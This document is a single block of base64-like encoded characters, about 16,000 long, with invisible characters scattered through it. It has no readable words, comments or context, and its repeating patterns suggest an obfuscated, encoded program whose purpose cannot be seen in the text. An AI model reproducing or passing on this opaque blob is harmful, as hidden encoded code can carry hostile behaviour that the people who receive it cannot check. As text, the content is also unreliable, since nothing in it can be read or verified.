pCjdyNdvT1+uTheH8v65IXF2raGt7wXWrv+uT2fK8CQ8ruGMTPQucJU​s9uCuhP7WhPxt7wX871LuTzC8pwkt/1Ct/GSvcakW71eAgGLsxSjWTPQuhPXA81NKYqP5B1jH81+8ph6WCNx8yNdvca6K8KLt72Q8pwkt/1Ct/GFOYqjKThXH2P+W/vtJ2XZBD1xt7wX87uStpzC87a+Kp2euTPeHgn+tcCUKYqP5huGMTPQucwYH81CYp2nWrPItpnXKgnXM9​hXKySUKp2X87akW71eup+ktT2eWTh/K2PXtrP+t9hNV8LCdB1xt7wX8pCjfB1QK81XAgn/W6xjWTPQuhPxK8vRHgzLt9NLsxSjWTPQuhP4tpnXKgnX871k8p2jA8GFOYa8MhakW71QM9hXKMRCV8JU​s9uCuhP4tpnXKgnX871k8p2jA8GSvT1+uTheH8v6gQhufB1xt7wX8pCjdyNdAgHFdB1xt7wX87uStpzC​87a+Kp2euTPeHgn+tcCUKYiPOMKayhwhdYaZBD1xt7wX8pwkt/1Ct/GFOYqjWTPQuhP7ATPNK2PxHguC871k8phlHgznV9MZBD19W9PR8726tBqP5h1Y2MMZB/XdKgzQKYaZBD1xt7wX8pwkt/1Ct/GFOYqjWTPQuhP4tpnXKgnX871k8p2jA8GZBD19W9PR8726tBqP5iKayhwhsxLPBD14u8v6KgnX8prjwY​qP5TrjwYFjWTPQuhPxK8vRHgzLt9NdfD1xt7wX8pRCV8ukW9GlvcakW71eAp2nupP6KhPNWpjdfD1xt7​wX8pRCV8ukW9G6fD1xt7wX8pRCV8ukW9G68pzQAGSlvcakW71eAp2nupP6KIJlvcakW71eAp2nupP6KI​wetcwLBDEjWTPQuhPXA81NKYEjWTPQuhP4tpnXKgnXfD1QK81XAgn/WrPQuc5dfD1xt7wX8phNtTP78pRCV8ukW91et7KCW/vLKTClK6EjWTPQuhPoK8C7t7vj8pKLW/wX87wCt/1Ct9wCfD1xt7wX8pRCV8ukW91etThQuhPQKgnXKgn4KGSlvcakW71eHgzNt7uetg2XH2PoK8C7t7vjfD​1xt7wX872QK2P9t7vetg2XH2PoK8C7t7vjBDEjWTPQuhP+tTzkurPRK81+8p1CWpw6A8aXAgPlfD1xt7​wX8prCuTheKT2QH7vLWc1LtpEddyNdvTw+Hp+C87K+tTCj5IXF1jhJMXMZB9C95BFjH726W92luhPRKI​MPOguCuhPxt7wX8prCuTiSvcakW71eAgGNWp2NK4SUvTw+Hp+C8prjwYzMMC2hdYjFVxSjHph4AT2eu9​hNAgGFOYaMMC2hsxLPB9C95BF+vTw+Hp+C87K+tTCjdYaZBD1oK8C7t7vj8ph6WDqP5Th6W9hndB1xt7​wX8pRCV8ukW9GLsxLLKDqSvcakW71eAp2nupP6KI5+OYW/dYqjAp2nupP6KhP+W/vt8YqP5B1xt7wX8pRCV8ukW9G6sxLLKDqSvcakW71eAp2nupP6KIJ+OYW/dYqjAp2nupP6KhP+W/vt8YqP5B1xt7wX8pRCV8ukW9GQsxSjK9CNuT26Kg1euTCXtTMFOYa8MhakW71QM9hXKMRCV8we19CNuT​26WQSUK9CNuT2687akW71euTCXtTMSvcakW71euTCXtTMNvTRCV8ukW91eH8v6fB1QK81XAgn/W6jZBD1xW92pAgPrWrPXA81NKYqP5TuCuhPxt7wX8prCuTiSvcakW71eAgGNWp2NK4SUvTw+Hp+C8pKL​tc1CW92j871LuTzCfh1Y2MMLsxLLKDqSvTKLtc1CW92j871LuTzC5yXjWcvCu9Cku8weuTCXtTML5cNd​u8ajH81C87akW71etg2XHYFjWTPQuhPLKBzQKgz9s4SjHph4AT2eK9CNuT26Kg1euTCXtTMNvTKLtc1C​W92j871LuTzCdyNdeGSjWTPQuhP4tpnXKgnX8pKLtc1CW92j5IXF2raGt7wXWrv+uT2fK8CQ8XKLtc1C​W/JUs9KLtc1CWCPxt7wX8pwkt/1Ct/GSvTRCV8ukW91eH8v6fB1xt7wX8pwkt/1Ct/1euTPeKg1LuBxjWp2XuTClK7JNvcakW71eAgGLsxLLKDqS5Y19W9PR8726tBjFVxSjWTPQuhP4tpnXKg​nX5IXFvcakW71eHpPluT2luhP9AgzXK8vCKINdeGSjHgzN87akW71eKThXHYqP5huGMTPQucwYH81CYp​2nWrPItpnXKgnXM9hXKySUKp2X8phNthPxt7wX8p1+uTiSvcakW71eAgGNvTRCV8ukW91eH8v6fB1xt7​wX8pwkt/1Ct/GdfB19AgzXK8vCKhPXA81NKYxjWp2XuTClK7JNvTK6tpreu8vNfB1xt7wX8pwkt/1Ct/1eK9CNuT26KgGLsxSjWpwkW9MFOYqjHgzN87akW71eKThXH2Nx8yNdu8ajH81C87akW71etg2XHYFjWT​PQuhPLKBzQKgz9s4SjHph4AT2eWpwkW9MNvcw4t7vCdyNdvcwrKpuCW71LtpnQ8pvkVBqP5B1+tTzeWT​PQuhPjH81+gQhusxLrWT1+uT2eWTPQuhPRK81+dB1xt7wX8pCjfcwCtTHUsD14HgwSK2PQugu/K8wXAgPlWrPDt7FNWp26AghNA8LCdB1Qugu/K8wXAgPlWrPDt7FLdyNdvcwxKgwLHgzeW72/Kp2QuTCkt/JFOYqjHgzN87akW71eKThXH2N68yNdu8ajH81C87akW71etg2XHYFjWTPQuhPLKBzQKgz9s4SjHph4AT​2eW7aCHpC+thPQugu/K8wXAgPlW6zQK8vLHgzLV9MSvcwxKgwLHgzeW72/Kp2QuTCkt/JLdyNdu8ajH81C87akW71etg2XHYFjWTPQuhPLKBzQKgz9s4SjHph4AT2etgGrfB14u8v6KgnX8prjwY​jZBCuGMTPQucwYH81CYp2nWrPYKgz+uT2j2Th/WQSUWcvkHp2QWrPXHguQ8pKkWCPxt7wXdB1xt7wX8pCjfB19AgzXK8vCKhPXA81NKYxjWcvCu9Cku8we​uTCXtTMNvca6K8KLt72Q8pwkt/1Ct/GLsxLPB/XdW71+uTC45TKrt9wXAgPl5TuCuhP4tT2+WCPjtpr+AgnQdBjFVxLLKDqS2raGt7wXWrv+uT2fK8CQ8r​wCuc1Lt9uQs4LQu8axt7vX8prrtc1LH/CXKYFLdYaZBD14u8v6KgnX8p1ktghLtDqP5TrD87wXW/1ktTP7K85SKp2X8pvNtpuLt9KkdBu7Wc26tBWLfBu22iHRsBWLsxLPB92NWpMFVxSjH726W92luhPjtp​r+AgEFOYaQucvXtpzkup26dTuCuhPDtTP/Agn9t6F/u7arW9x/dYjZB/XdvTwrW/vCt/1eKTPRHgCl8ph6WDqP5ca+W/wC8726tBFjH726W92luhPjtpr+AgELsxSjH726W92luhPjtpr+Agnet9PeKTC65IXFvTwrW/vCt/1eKTPRHgCl8ph6WCN/ATPQuBuusxL6K81rW9EFH8v6H8jSvpuktpuNKYn4tpX/fB14u8v6KgnX8p1ktghLtCPltrPjA85LsxLPB/wXH81LH6a9ugn4uTCktDa/K81eW72/Kp2QuTCkt/weWTh/KYFjWTPQuhPLKBjFVxSjHgzN8prCW7w+Kp2Q5IXF2raGt7wXWrv+uT2fK8CQ8XwCt/16HgxUs9uCuhPQugu/K8wXAgPlWrPDt7FSvcakW71eAgGLsxSjHgzN87wrKpuCW71LtpnQ5IXFH8v6H8jSdyNdAgHFdB1+tTze​tg2QWph/K8JL5cNdtTCQuBFjH9PE8p1CHpP6H81LtpneW72/Kp2QuTCkt/weH8v6fB1Dt7+eu8vN87wrKpuCW71LtpnQ8ph6WDxjH9PE8pwkt/1Ct/1eW72/Kp2QuTCkt/weH8v6dYqP5B1+tTzetg2QWph/K8wtvpvkVhPQugu/K8wXAgPlWrP+W/5/8yNdvThNthPQugu/K8wXAgPlW6qP5Th6W9hn8prCW9uCdB1Dt7+eKT24t7v+uTCktCPQugu/K8wXAgPlWrP+W/5NvTvkVhPrW9zeW72/Kp2QuTCkt/weH8v6fB1Dt7+eHpPluT2luhPQugu/K8wXAgPlWrP+W/5LsxLPB/vCuc26tDqjHgzN87wrKpuCW71LtpnQsxLPB/wXH81LH6a9ugn4uTCktDa/K81eK9CNuT26Kg1euTCXtTMSvcakW71eAgGNvcakW71euTCXtTMPv6WL5cNdvcakW71eAp2nupP6KBqP​5huGMTPQucwYH81CYp2nWrP8MhakW71Qs4L/K81eAp2nupP6KBFjWTPQuhPLKBjZBD1xt7wX8pRCV8ukW9G65IXF2raGt7wXWrv+uT2fK8CQ8ruGMTPQ​ucJUs9uCuhPoK8C7t7vjJDFjWTPQuhPLKBjZBD1xt7wX8pRCV8ukW9GQ5IXF2raGt7wXWrv+uT2fK8CQ​8ruGMTPQucJUs9uCuhPoK8C7t7vjJ6FjWTPQuhPLKBjZBD1oK8C7t7vj8ph6WDqP5Th6W9hndB1xt7wX​8pRCV8ukW9GLsxLLKDqSvcakW71eAp2nupP6KI5+OYW/dYqjAp2nupP6KhP+W/vt8YqP5B1xt7wX8pRCV8ukW9G6sxLLKDqSvcakW71eAp2nupP6KIJ+OYW/dYqjAp2nupP6KhP+W/vt8YqP5B1xt7wX8pRCV8ukW9GQsxSjWp2XuTClK7JFOYa8MhakW71QM9hXKMRCV8weMp2XuTClK7JUs9​uCuhPkWc1LtpnQdBjZB9C95BFjWTPQuhPXA81NKyXPv6WL5cNdvT1+uTheH8v65IXF2raGt7wXWrv+uT​2fK8CQ8ruGMTPQucJUs9uCuhP7WhPxt7wX871LuTzC8pwkt/1Ct/GSvcakW71eAgGLsxSjWTPQuhPXA81NKYqP5B1jH81+8ph6WCNx8yNdeGSjt927871LuTzC5IXF2raGt7​wXWrv+uT2fK8CQ8XKLtc1CW/JUs9KLtc1CWCPxt7wX871LuTzCdB1xt7wX871LuTzCfB1oK8C7t7vj8ph6WDxjWp2XuTClK7JLsxL6K8​1rW9EFvTnCurPXA81NKyNdeGLQuThXAgJFK/2lH71LtpEFKp2X8pzLHp2lWp2eucCxKYFL5cNdvTzLHp2lWpMFOYq/KgiEK45XJpGnsIFrHpHEHpMnsIWpHyMEJI56wTKjJpJ/sxL6K81rW9EFvTzLHp2lWpMZB/XdW71+uTC45TKrt9wXAgPl5TCQ87K+tTCj8pwrW/vCt/1eKTPRHgCldBjFVxL6K81rW9EFucvrKyNdeGLQuThXAgJFK/2lH71LtpEFHp+CHpReuTPeHgwXA8KCdBjFVxSjKThXHYqP5huGMTPQucwYH81CYp2nWrPyK81XAgn/WQSUKp2X8pPxuTCkt/JSdyNdAgHFdB1jH81+g6u+tTzkurPRHgnrHgzeW92+H71Lu9hXAgPlvrXPOYWzv6jFVxL6K81rW9EF1j​hJMXMZB/XdvTCQ87K+tTCj8pKLW/wX87wXK8qFOYaQKgz9s4LLWrPpHgzLKhP4u8v6KgnX8p1ktghLtDFLsxLLKDqSvTCQ87K+tTCj8pKLW/wX87wXK8qL5cNd2raGt7wXWrv+uT2fK8CQ8rwCuc1Lt9uQs4LrWT1+uT2eHgwXA8KC8pvn87wCW/KCWCP6K8wxtpnQKYF/GMwMY2Khv6zMMC2hdyNdvTCl8QFx8p1+V8JFOYaXAgrCdBjFd6FEJBq05IFpwIqxdyNdu7aeWpwSKg1r​tT2eWpClKpzC8p2pKgnXdB1LtCbEJhPjH8CQfBuQKgPxW92QWpP68pPlK81Ltg2eHp+CHpReHgwXA8KC​v6jZB/vCuc26tDaMMC2hsxLPB92NWpMFVxL6K81rW9EF1jhJMXMZB/XdeGLQuThXAgJFK/2lH71LtpEFKp2X8prjw2PQK81XAgn/W6FjH8weH8v6H8jP1jhJMXML5cNdvTPxuTCkt/JFOYa8MhakW71QM9hXKMRCV8weMp2XuTClK7JUs9uCuhPkWc1LtpnQdBjZBD16K81rW9EFOYa+W/v+VYFLsxSjW92Xu8vlg6uSJ2PXHgueHgz6KghjV2PLtCPXAT2RKYuu5IXFvTPxuTCkt/wtvpFz871+KrP+tcvCHg1n8pCl871SKgrCvrXZBD16K81rW9ntvpF6871+KrP+tcvCHg1n8pCl871SKg​rCvrXFOYqjt7aXAgPlWrN/AIveuTh/8phNW92+KcCeAgneuT+CtgM/8yNdvcvCuc26tCN/AIweuTh/8phNW92+KcCeAgneuT+CtgM/8YqP5B1kWc1LtpnQg6uSJrPXHgueHgz6KghjV2PLtCPXAT2RKYuusxSjW92Xu8vlg6u+tTzkurP+KT1e​Ap2nupP6KhPLtCPXA81NK8J/8YqP5B1kWc1LtpnQg6u+tTzkurP+KT1eAp2nupP6KhPLtCPXA81NK8J/8yNdvcvCuc26tCN/HgzNt7ueH9PNKhPQucCNK2PXtrP+WcaNVYuu5IXFvTPxuTCkt/wtvphNtTP78pvktT1eW71ntT2euTPeH8axtcj/8yNdvcvCuc26tCN/H9PNKhPQucCNK2PXtrP+WcaNVYuu5IXFvTPxuTCkt/wtvpvktT1eW71ntT2euTPeH8axtcj/8yNdvcvCuc26tCN/HgzNt7ueA81+tTC487wXVgzC871k8phxWTznvrXFOYqjt7aXAgPlWrN/HgzNt7ueA81+tTC487wXVgzC871k8phxWTznvrXZBD16K81rW9ntvpCXHgzLHrPQucCNK2PXtrP+WcaN​VYuu5IXFvTPxuTCkt/wtvpCXHgzLHrPQucCNK2PXtrP+WcaNVYuusxSjW92Xu8vlg6u+tTzkurPrt91CW9zLt92eW71ntT2euT​PeH8axtcj/8YqP5B1kWc1LtpnQg6u+tTzkurPrt91CW9zLt92eW71ntT2euTPeH8axtcj/8yNdvcvCuc26tCN/ugnjK8vNAgnC87wXVgzC871k8phxWTznvrXFOYqjt7aXAgPlWrN/ugnjK8vNAgnC87wXVgzC871k8phxWTznvrXZBD16K81rW9ntvphNtTP78phruTPRH81LHrP+KT1Lt9ue​W92N8pnkK9PNtTP7vrXFOYqjt7aXAgPlWrN/HgzNt7ueH82Xtpr+uTC48phjKTClKrP6Kgzet9P9tpzNt7W/8yNdvcvCuc26tCN/W7aCHpC+thP4ATh6HgwXK8vQ871k8pPRA8G/8YqP5B1kWc1LtpnQg6uQWT24AghN8pwSH8v+H71CW/weuTPetprLuBuusxSjW92Xu8vlg6uLtgh/K2P+tc1euTh/8p1CHpP6H81LtpE/8YqP5B1kWc1LtpnQg6uLtgh/K2P+tc1euTh/8p1CHpP6H81LtpE/8yNdvcvCuc26tCN/HgzX8phXucvLH/2XK2PQucvrH71rW9M/8YqP5B1kWc1LtpnQg6u+tc1eH81XW9CDu81C87wXW/24uc26KYuusxSjW92Xu8vlg6u+t9hNA8LC8pKrtTzeWTh/KYuu5IXFvTPxuTCkt/wtvphlHgzLV92eK/2NthPxHguCvrXZBD16K81rW9ntvpCRHguC871LuTzC871+KrPjKgwkW9hXAgPlvrXFOYqjt7aXAgPlWr​N/Agr+Kp2euTCXtT2euTh/8p1CHpP6H81LtpE/8yNdvcvCuc26tCN/uTCXtT2eH81XW9CDu81C87wXW/24uc26KYuu5IXFvTPxuTCkt/wtv71LuTzC8phXucvLH/2XK2PQucvrH71rW9M/8yNdvcvCuc26tCN/H82XtrP+KT1eW92N8pnkK9PNtTP78pCRKrPNAgnoW6uu5IXFvTPxuTCkt/wtvphruTPeHg1j87vCthPltpKktTzkurPLtguetTClA7J/8yNdAgHFdB1+WrP+W/v+VYjdW92Xu8vl5B16K81rW9EZB92NWpMFB/vCuc26tDaLt8aNtp1CdBW/fB16K81rW9ELsxLPB/wXH81LH6a9ugn4uTCktDa/K81etgGr87wCuc1Lt9uQ8pKkWCP9AgzXK8veHpPluT2luBFjH8weH8v6H8jP1jhJMXML5cNdvTPxuTCk​t/JFOYa8MhakW71QM9hXKMRCV8weMp2XuTClK7JUs9uCuhPkWc1LtpnQdBjZBD16K81rW9EFOYa+W/v+VYFLsxSjW92Xu8vlg6u+tTzkurPDtpzj87wXVgzC871k8phxWTznvrXFOYqjt7aXAgPlWrN/HgzNt7ueH9PNKhPQucCNK2PXtrP+WcaNVYuusxSjW92Xu8vlg6uDtpzj87wXVgzC871k8phxWTznvrXF​OYqjt7aXAgPlWrN/H9PNKhPQucCNK2PXtrP+WcaNVYuusxSjW92Xu8vlg6u+tTzkurPLuThNAgweW71ntT2euTPeH8axtcj/8YqP5B1kWc1LtpnQg6u+tTzkurPLuThNAgweW71ntT2euTPeH8axtcj/8yNdvcvCuc26tCN/A81+tTC487wXVgzC871k8phxWTznvrXFOYqjt7aXAgPlWrN/A81+tTC487wXVgzC871k8phxWTznvrXZBD16K81rW9ntvphNtTP7872lKT26tTClK2PQucCNK2PXtrP+​WcaNVYuu5IXFvTPxuTCkt/wtvphNtTP7872lKT26tTClK2PQucCNK2PXtrP+WcaNVYuusxSjW92Xu8vlg6urt91CW9zLt92eW71ntT​2euTPeH8axtcj/8YqP5B1kWc1LtpnQg6urt91CW9zLt92eW71ntT2euTPeH8axtcj/8yNdvcvCuc26tCN/HgzNt7ueH82Xtpr+uTC48phjKTClKrP6Kgzet9P9tpzNt7W/8YqP5B1kWc1LtpnQg6u+tTzkurP+u81ktghXAgweHg1jAgn/87vCthPltpKktTzku6uusxSjW92Xu8vlg6uQWT24AghN8pwSH8v+H71CW/weuTPetprLuBuu5IXFvTPxuTCkt/wtv7wxKgwLHgzeHp++W9h4uT26WrPXtrPktgCXvrXZBD16K81rW9ntvpCRHguC8phNuhPXHgueKT24t7​v+uTCktDuu5IXFvTPxuTCkt/wtvpCRHguC8phNuhPXHgueKT24t7v+uTCktDuusxSjW92Xu8vlg6u+tc1eH81XW9CDu81C87wXW/24uc26KYuu5IXFvTPxuTCkt/wtvphNuhP+uc16AgvruT2eW716ugwXu8vCvrXZBD16K81rW9ntvpCRHguC871LuTzC871+KrPjKgwkW9​hXAgPlvrXFOYqjt7aXAgPlWrN/Agr+Kp2euTCXtT2euTh/8p1CHpP6H81LtpE/8yNdvcvCuc26tCN/uTCXtT2eH81XW9CDu81C87wXW/24uc26KYuu5IXFvTPxuTCkt/wtv71LuTzC8phXucvLH/2XK2PQucvrH71rW9M/8yNdvcvCuc26tCN/H82XtrP+KT1eW92N8pnkK9PNtTP78pCRKrPNAgnoW6uu5IXFvTPxuTCkt/wtvphruTPeHg1j87vCthPltpKktTzkurPLtguetTClA7J/8yNdAgHFdB1+WrP+W/v+VYjdW92Xu8vl5B16K81rW9EZB92NWpMFB/vCuc26tDaLt8aNtp1CdBW/fB16K81rW9ELsxLPB/wXH81LH6a9ugn4uTCktDa/K81et7vLKpClHgzeWTPQuhP4tpnXKgnXdB1xt7wX8pCjdYaZB/vCuc26tDa/K81eWTPQuhPRK81+dB1xt7wX8pCjfcwCtTHUsD1kW9C/Agn+thPxt7wX8pwkt/1Ct/GN2hv21YjZB/XdW71+uTC45TKrt9wXAgPl5c2xKThXK2PkW9C/Agn+thPxt7wX8pwkt/1Ct/GSvcakW71eAgGNvTP6AguLt9hN8pwkt/1Ct/GL5cNdu8ajH81C87akW71etg2XHYFjWTPQuhPLKBzQKgz9s4Sjt7vLKpClHgzeWTPQuhP4tpnXKgnXfB​1kW9C/Agn+thP4tpnXKgnXdyNdeGLQuThXAgJFK/2lH71LtpEFKp2X87w4t7vCdB1xt7wX8pCjdYaZBD16K81rW9EFOYa/K81eWTPQuhPRK81+dB1xt7wX8pCjfcwCtTHUsD14HgwSK2PQHpP6KYzMMC2hdyNdAgHFdB16K81rW9EP​OYW/dGSjW92Xu8vl5IXFJINdW92Xu8vl5B16K81rW9EZB/XdW71+uTC45TKrt9wXAgPl5TuCuhPQugu/K8wXAgPlWrPDt7FSvcakW71eAgGPv6WL5cNdAgHFdB1xt7wX8pCj5yX/v6jFVxSjW72/Kp2QuTCkt/weH9PE5IXFtghnH92eugnQK8vLHgzLV9MSKp2X87akW71etg2XHYFjWTPQuhPLKBzQKgz9s4SjHph4AT​2eW72/Kp2QuTCkt/weH9PEfh1Y2MMLdyNdAgHFdB1Qugu/K8wXAgPlWrPDt7FL5cNdvTvkVhPQugu/K8wXAgPlWrP+W/5FOYqjW72/Kp2QuTCkt/weH9PEg6uDt7+eW72/Kp2QuTCkt/weH8v6vrXZBD1QWT24AghN87wrKpuCW71LtpnQ8ph6WDqP5Tr+VgvC872lWp26AghNA8LCdTuCuhPxt7​wX8prCuTiSvcakW71eAgGNWp2NK4SUvTw+Hp+C87wxKgwLHgzeW72/Kp2QuTCkt/JN2hv21YjLsxLPB92NWpMFVxL6K81rW9EFH8v6H8jSdyNdeGLPBD1RK8wQHguCWrPXK8+XW6qP5huGMT​PQucwYH81CYp2nWrPItpnXKgnXM9hXKySUKp2X87wrKpuCW71LtpnQ8pKkWCPDt7FSdyNdvcwrKpuCW7​1LtpnQ87aCWCPQKgwXAgPlW6qP5huGMTPQucwYH81CYp2nWrPItpnXKgnXM9hXKySUKp2X87wrKpuCW7​1LtpnQ87aCWCPQKgwXAgPlW6FLsxSjW72/Kp2QuTCkt/weWp24uTCktCPjKgwkW9hXAgPl5IXFH8v6H8jSdyNdvcwrKpuCW71LtpnQ87wCH71Ltpneu8vN5IXFH8​v6H8jSdyNdvcwrKpuCW71LtpnQ87wCH71LtpneHpPluT2luBqP5Th6W9hndBjZB9KkW92+HpFFdB1Dt7​+eW72/Kp2QuTCkt/weH8v65ThQ5B1Dt7+eW72/Kp2QuTCkt/weA81CtYjFVxSjuTrx8prQK6qP5B1RK8wQHguCWrPXK8+XWrNjH9PE87wrKpuCW71LtpnQ8pCXKgrtJ2​rusxSjuTrx8prQKrPRWpWFOYqjuTrx8prQKrNx8yNdvc1RWhPRWpueuTPktc1LWBqP5T+XtgzCt/1LuTCCW6FjuTrx8prQKrNz8YjZB9C95B+4t72luBFjH9PE87wrKpuCW71LtpnQ8pCXKgXLO45L5cNdvc​1RWhPRWpuet8w/5IXFW71687vCWTz+HpMSvQxby4Emv6xjH9PE87wrKpuCW71LtpnQ8pCXKgrtJCXNvc1RWhPRWpuet8w/dyNdAgHFdB1Dt7+eW72/Kp2QuTCkt/weA81Ct2N68yEzdYaZBD1Xt8aet8w/8prQK6qP5cwXWCP6K8aNHgwCdBWbOB+QdyEmv6x/W6WNvc1RWhPRWpuet8w/dyNdeGLCtcwC5cNdvc1RWhPRWpuet8w/5IXFW71687vCWTz+HpMSvQxbdcJLO4E/fBW/fB1Xt8aet8w/8prQK6jZB/XdeGLLKDqSAgneH8v6H8jSvTvkVhPQugu/K8wXAgPlWrPLuT2RgQhufB1Qugu/K8wXAgPlWrPxK8veWp24uTCkt/wtvp1CHpP6H81LtpE/8YjL5cNdvcwrKpuCW71LtpnQ87wCH71LtpneKT24t7v+uTCktCRu5IXFH8v6H8jSvTvkVhPQugu/K8wXAgPlWrPLuT2RgQaufB1Xt8aet8w/8prQK6xjuTrx8prQKrPXtpPNuTCxdyNdeGLCtcwCAgHFdTCl8ph6W9hndB1Dt7+eW72/Kp2QuTCkt/weA81Ct2Nz8YxjW72/Kp2QuTCkt/weWT2687wCH71LtpnQg6urW9x/8YjL5cNdvcwrKpuCW71LtpnQ87wCH71Ltpneu8vNgrXFOYa+W/v+VYFjH9PE87wrKpuCW71LtpnQ8pCXKgrtJhXNvc1RWhPRWpuet8w/fB1Xt8aet8w/871ktpzXA8qLsxLPB92NWp2LKDqSAgneH8v6H8jSvTvkVhPQugu/K8wXAgPlWrPLuT2RgQhufB1Qugu/K8wXAgPlWrPxK8veWp24uTCkt/wtvpwkt/1Ct/G/8YjL5cNdvcwrKpuCW71LtpnQ87wCH71LtpneHpPluT2luhRu5IXFH8v6H8jSvTvkVhPQugu/K8wXAgPlWrPLuT2RgQaufB1Xt8aet8w/8prQK6xjuTrx8prQKrPXtpPNuTCxdyNdeGLPBD1Qugu/K8wXAgPlWrPDt7+tvpvkVhPQugu/K8wXAgPlWrP+W/5/8YqP5Th6W9hndB1Qugu/K8wXAgPlWrPQKgwXAgPl8p1CHpP6H81LtpEdfB1Qugu/K8wXAgPlWrPQKgwXAgPl8726tqSNvcwrKpuCW71LtpnQ87wCH71LtpneHpPluT2luBjZBD1QHpP6K2PN​K8wQ871SHgneJyqx5IXFH8v6H8jSdyNdvcw4t7vC8prkW92euT++tCbzJIqFOYa+W/v+VYFLsxSjWpwkW92et7KCWCPkWc1LtgCUH81LtpEFOYa+W/v+VYFLsxLLKDqSA8wQK8GSvcwxKgwLHgzeW72/Kp2QuTCkt/weH8v6dYq9v9CQWp2XdB1QWT24AghN87wrKpuCW71LtpnQ8ph6WCN/WpwkW92etT2QWrPXAThl8QixJBuudYjFVxL9t7vCHgwS5BFjW7aCHpC+thPQugu/K8wXAgPlWrP+W/vtv7w4t7vC8pzCW7weuT++tCbzJIq/8Ya+W6qjuTrx8prQK6jFVxSjWpwkW92etT2QWrPXAThl8QixJhRu5IXFvTrCW7w+Kp2Q871CVc1Qg61X​t8aet8w/8yNdeGL9t7vCHgwS5BFjW7aCHpC+thPQugu/K8wXAgPlWrP+W/vtv7w4t7vC8prkW92euT++tCbzJIq/8Ya+W6qjuTrx8prQK6jFVxSjWpwkW92etgP6K2PXAThl8QixJhRu5IXFvTrCW7w+Kp2Q871CVc1Qg61X​t8aet8w/8yNdeGLLKDqSA8wQK8GSvcwxKgwLHgzeW72/Kp2QuTCkt/weH8v6g6uQHpP6K2Pku9268pPxuTCRA8L+uTCktDuugQhudYjFVxL9t7vCHgwS5BFjW7aCHpC+thPQug​u/K8wXAgPlWrP+W/vtv7w4t7vC8pPpK8vet7aXAgrLV9hXAgPlvrrtJ2XFH8JFvc1RWhPRWpWL5cNdvcw4t7vC8pPpK8vet7​aXAgrLV9hXAgPlgrXFOYqjtg2QWph/K8weuT2Eucwtvc1RWhPRWpuusxLPB/XdeGLLKDqS5gCQWp2XdB1QWT24AghN87wrKpuCW71LtpnQ8ph6WCN/WpwkW92et7KCWCPkWc1LtgCUH81LtpE/82Nx8YjL5cNdvcwxKgwLHgzeW72/Kp2QuTCkt/weH8v6g6uQHpP6K2Pku9268pPxuTCRA8L+uTCktDuugQau5IXFv6WZB/XdvcwrKpuCW71LtpnQ8pvkVhN/W7aCHpC+thPQugu/K8wXAgPlWrP+W/5/8YqP5Th6W9hndB1QHpP6K2PNK8wQ871SHgneJyqxBDxjWpwkW92etgP6K2PXAThl8QixJqSNH8v6H8jS​v71nWTM/OyEjW7aCHpC+thPQugu/K8wXAgPlWrP+W/vtv7w4t7vC8pPpK8vet7aXAgrLV9hXAgPlvrrtJhXNvpzLW7G/OyEjWpwkW92et7KCWCPkWc1LtgCUH81LtpELBDjZB/vCuc26tDqjW72/Kp2QuTCkt/weH9PEsxLPB/wXH81LH6a9ugn4uTCktDa/K81eW7aCHpC9AgweKThXH2P9W9PR87wCW/KCWDFjAgn9trPXtrP6K8hrK8wXdYaZB/vCuc26tDq/GMwMY2KhvQNdeGLQuThXAgJFWc2DtTC45TKrt9wXAgPl5Tr+Ap2etThQuhPpK8vQAgPl87aNuguLtCP6​K8hrK8wXdBjFVxSjW92QWTPlWpMFOYa7WhP6KgrkuT2eKp2XdcwCtTHUsD1rW9zeHp+CHpRetThQuhPp​K8vQAgPlfTh6W9hndBuXAgrCt72XvQXm2raGt7wXWrv+uT2fK8CQs4SjuTCRKgPruBjLsxLLKDqS5gCQ​87ux8p26W9P6dB16K8wxtpnQKYjL5cNdvTvkKcjFOYqjW92QWTPlWp2tvpvkKcj/8yNd2raGt7wXWrv+uT2fK8CQ8rwCuc1Lt9uQs4LrWT1+uT2etThQuhPpK8vQAgPldB1Dtp1ndyNdW92X​u8vl5h1Y2MMZB/XdKgzQKYaZBCuGMTPQucwYH81CYp2nWrPJtpuQs4L+KT1eK8v6t75SvQJ7J6WN59r+Ap2etThQuhPpK8​vQAgPl87aNuguLtCP6K8hrK8wXfBa2W9xU5B5lWp2NK4SUvc26thP4AT24ArPNH8wX87KCW/wLtpELsxL6K81rW9EF1jhJMXMZB/XdeGLQuThXAgJFWc2DtTC45TKrt9wXAgPl5cwCt91eu9CQA81QdBjFVxSjHgzN5IXF2raGt7wXWrv+uT​2fK8CQ8rKLWpCXWQSUKp2X8phNtBFLsxSjHgzN8ph6WDqP5Th6W9hndBjZB9KkW92+HpFFdB1+tTxFH8​JFvThNthPLuT2RdYaZBD1pA8wLuhPjH81C5IXFKThXKYF/gYrRfgG/fcwXW/1kuTCRKYFjHgzN8pCXKgXRO/KLWpCX8p1XdYjZB9C95B+oK8CeK8+LW71QdB1pA8wLuhPjH81CfB1+tTzeH8v6dYjFVxSjHgzN8ph6WC​Nju9CQA81eKThXK2XFOYqjHgzN8ph6WCNju9CQA81eKThXK2XFdQiZB/XdKgzQKYaZBD1+tTzeH8v6g61pA8wLuhPjH81C8YqP5IiZB/XdeGSjtTCQuhPXtrPQKgnj8ph6WDqP5Th6W9hndBjZB9KkW92+HpFFdB1+tTzeH8v65ThQ5B1+tTzeH8​v68pRCVyXmvThNthP+W/veHpPrt/1CWDjFVxSjtTCQuhPXtrPQKgnj8ph6WCRu5IXFvThNthP+W/veAp2n5BE/5BWlvThNthP+W/veHpPrt/1CW4NdeGSjtTCQuhPXtrPQKgnj5IXFu8vNKgn4tp1CdTCRWTzkKTMSv6x/fB1NA8wX871k87wCt91eH8v6dYjZB9C95B+XW/2CdYaZB9KkW92+HpFFdB1+tTxFH8JFvThNthPLuT2RdYaZBCuGMTPQucwYH81CYp2nWrPgA8wLucJUs9​1CtT2XKYFjHgzN8pCXKgXRO9CjdyNdeGL6K81rW9EF2hv21yNdeGLCtcwC5cNd2raGt7wXWrv+uT2fK8​CQ8XzkK7JUs9hjKhPCW/vkWDF/JQWrv6xDWp2lKhPpA8wLucJN5h26tISF5DnQKgz9s4Sju8vN8pwSKgwo8pz+W71eu926WpCktDjZB/vCuc26tDaTGMzy1yNdeGLPB/wXH81LH6a9ugn4uTCktDa/K81eHpPluT2luhP4HgwSK2P4u8v6KgnX8prjwYFjWTPQuhPLKBxjWp2XuTClK7JPH8v6H8jSdYxjAp2n​upP6KcJPH8v6H8jSdYxjWTPQuhP4tpnXKgnXOYW/dYaZB9C95B+4t72luBFjAp2nupP6KcJLOyXxdYaZBD1xt7wX8pRC